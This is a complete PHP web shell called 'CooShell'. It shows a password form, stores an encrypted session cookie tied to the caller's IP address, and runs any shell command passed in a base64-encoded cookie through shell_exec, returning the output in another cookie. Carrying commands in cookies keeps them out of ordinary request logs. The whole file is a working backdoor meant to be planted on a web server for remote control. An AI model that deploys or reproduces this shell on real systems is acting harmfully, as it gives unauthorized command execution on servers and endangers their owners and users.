<?php
        // CooShell by VacaUno
        // updates: http://code.google.com/p/cooshell
        
        $phpself = $_SERVER["PHP_SELF"];
        $a_key = "w0-0w";  // SET YOUT PASSWORD HERE
        $auth = 0;
        if (isset($_COOKIE["a_tk"]) ) {
                $token = unserialize( rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($a_key), base64_decode($_COOKIE["a_tk"]), MCRYPT_MODE_CBC, md5(md5($a_key))), "\0"));
                if (
                        $token['rem_addr'] == $_SERVER['REMOTE_ADDR'] and
                        $token['max_time'] >= time()
                ) {
                        $auth = 1;
                        $token['max_time'] = time() + 300;
                        setrawcookie ( "a_tk", urlencode(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($a_key), serialize( $token ), MCRYPT_MODE_CBC, md5(md5($a_key))))),time() + 600);
                } else {
                        setcookie ("a_tk", "", time());
                }
        }
        if ( $auth == 0 ) {
                if (isset($_POST["pwd"]) and $_POST["pwd"] == $a_key) {
                        $token['rem_addr'] = $_SERVER['REMOTE_ADDR'];
                        $token['max_time'] = time() + 300;
                        setrawcookie ( "a_tk", urlencode(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($a_key), serialize( $token ), MCRYPT_MODE_CBC, md5(md5($a_key))))),time() + 600);
                } else {
                        setcookie ("a_tk", "", time());
                        echo '
<head><title>CooShell713</title>
<body onLoad="document.wat.pwd.focus();">
<form name="wat" action="' . $phpself . '" method="post" >
<span><b>Password</b>: </span>
        <input type="password" name="pwd" id="pwd" />
        <input type="submit" value="Auth" />
</form>
</body>';
                        die;
                }
        }
        if (isset($_COOKIE['c_md']) and $_COOKIE['c_md'] != '' ) {
                $decode=base64_decode($_COOKIE['c_md']);
                setcookie ('c_md', '', time());
                setrawcookie ('c_dt',base64_encode(htmlentities(shell_exec($decode.' 2>&1'), ENT_QUOTES|ENT_IGNORE, 'UTF-8' )), time() + 300);
        } else { $decode = ''; }
?>
<html>
<script>
        function readCookie(name) {
                var cookiename = name + "=";
                var ca = document.cookie.split(';');
                for(var i=0;i < ca.length;i++) {
                        var c = ca[i];
                        while (c.charAt(0)==' ') c = c.substring(1,c.length);
                                if (c.indexOf(cookiename) == 0) return c.substring(cookiename.length,c.length);
                        }
                return null;
        }
</script>
<body onLoad="document.wsh.cmd.focus();">
<form name="wsh" action="<?php echo $phpself ?>" method="post" onSubmit="document.cookie='c_md=' + btoa(document.wsh.cmd.value);document.wsh.cmd.value=''">
<span><b>COMMAND</b>: </span>
        <input type="text" name="cmd" id="cmd" value="<?php echo htmlentities($decode,ENT_QUOTES|ENT_IGNORE, 'UTF-8'); ?>" />
        <input type="submit" value="Executar" />
</form>
<script>
        document.write("<pre> " + atob(readCookie('c_dt')) + "</pre>" );
</script>
</body>
</html>
